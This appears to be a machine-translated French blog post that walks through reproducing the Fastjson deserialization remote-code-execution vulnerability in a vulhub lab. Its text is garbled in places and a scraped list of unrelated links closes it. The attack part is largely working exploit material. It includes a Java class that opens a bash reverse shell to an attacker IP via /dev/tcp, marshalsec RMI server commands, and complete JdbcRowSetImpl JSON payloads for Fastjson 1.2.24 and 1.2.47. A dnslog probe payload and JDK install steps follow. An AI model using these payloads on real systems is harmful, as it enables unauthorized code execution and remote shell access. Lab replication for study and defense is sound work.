当前位置:网站首页>Réplication de vulnérabilité - désrialisation fastjson
Réplication de vulnérabilité - désrialisation fastjson
2022-07-07 08:10:00 【_ Bar _ S1mple】
Table des matières
Description de la vulnérabilité
Exploitation des vulnérabilités
FastjsonDétection des vulnérabilités
Description de la vulnérabilité
fastjsonOffreautotypeFonction,Dans le processus de demande,Nous pouvons modifier le paquet de demande [email protected] de,Pour désérialiser au type spécifié,EtfastjsonLes propriétés de la classe sont définies et acquises lors de la désrialisation,S'il y a des méthodes malveillantes dans la classe,Cela peut causer des problèmes comme l'exécution du Code.
Replay of vulnerability
L'environnement de vulnérabilité ici utilise principalementvulhubLes deux.fastjsonConstruction de vulnérabilités,Accès après la construction8090Le port apparaît comme suit
Exploitation des vulnérabilités
Nous avons besoin devpsOuvrez unRMIAppel de serviceclassDocumentation,D'abord, nous créonstest.java Pour rebondir shell,Utilisez les commandesjavac test.java
Compilation Buildtest.class( Tout l'environnement expérimental est basé sur java8Sur la base de)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
AidemarshalsecProjet ouvertrmiServices,Écouter9999Port,Et faire charger la classe distantetest.class
Nous devons d'abord compiler la construction marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Commencez par unhttp Le service est facile à charger test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.server
Et ensuite nous allons commencer RMISurveillance du service9999Port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999
Le serveur local écoute le port dans le fichier
nc -nvlp xxxx
Toutes les opérations ci - dessus sont effectuées sur le même serveur
fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}
Annexe
FastjsonDétection des vulnérabilités
Inhttp://dnslog.cn/Générer un nom de domaine au hasard,Et ensuite construirepayload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}
Oui.payload Envoyer dans le corps de la demande ,Sidnslog Un enregistrement existe fastjsonVulnérabilité
Installationjava8
Télécharger l'adresse:https://github.com/frekele/oracle-java/releases
Téléchargerjdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
Désinstaller
# Voir l'installationOpenJDKSac
dpkg --list | grep -i jdk
# DésinstallerOpenJDKPaquets connexes
apt-get purge openjdk-*
# Vérifiez tous les OpenJDK Si tous les paquets ont été désinstallés
dpkg --list | grep -i jdk
Installation
# Placer le paquet compressé sur/opt/javaSous la table des matières
mv jdk-8u212-linux-x64.tar.gz /opt/java
# Décompresser
tar -zxvf jdk--8u212-linux-x64.tar.gz
# Configurer les variables d'environnement
Modifier/etc/profileDocumentation
vim /etc/profile
Ajouter les informations suivantes à la fin du texte
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# FairejavaEfficacité environnementale
source /etc/profile
# Voir si l'installation a réussi
java -version
边栏推荐
- JS cross browser parsing XML application
- Leetcode simple question: find the K beauty value of a number
- 通俗易懂单点登录SSO
- Es FAQ summary
- The charm of SQL optimization! From 30248s to 0.001s
- Complex network modeling (III)
- uniapp 移动端强制更新功能
- Who has docker to install MySQL locally?
- LeetCode中等题之我的日程安排表 I
- Li Kou interview question 04.01 Path between nodes
猜你喜欢
微信小程序基本组件使用介绍
Few shot Learning & meta learning: small sample learning principle and Siamese network structure (I)
Myabtis_Plus
漏洞复现-Fastjson 反序列化
【数字IC验证快速入门】17、SystemVerilog学习之基本语法4(随机化Randomization)
Main window in QT learning 27 application
jeeSite 表单页面的Excel 导入功能
CTF-WEB shrine模板注入nmap的基本使用
海信电视开启开发者模式
王爽 《汇编语言》之寄存器
随机推荐
Force buckle 145 Binary Tree Postorder Traversal
[untitled]
Thinkcmf6.0 installation tutorial
Recursive method to verify whether a tree is a binary search tree (BST)
青龙面板--花花阅读
C language flight booking system
Real time monitoring of dog walking and rope pulling AI recognition helps smart city
复杂网络建模(二)
面试题(CAS)
Téléchargement des données de conception des puces
追风赶月莫停留,平芜尽处是春山
Thinkcmf6.0安装教程
Linux server development, MySQL cache strategy
芯片 設計資料下載
Chip design data download
Myabtis_ Plus
芯片 设计资料下载
buureservewp(2)
Bayes' law
MySQL multi column index (composite index) features and usage scenarios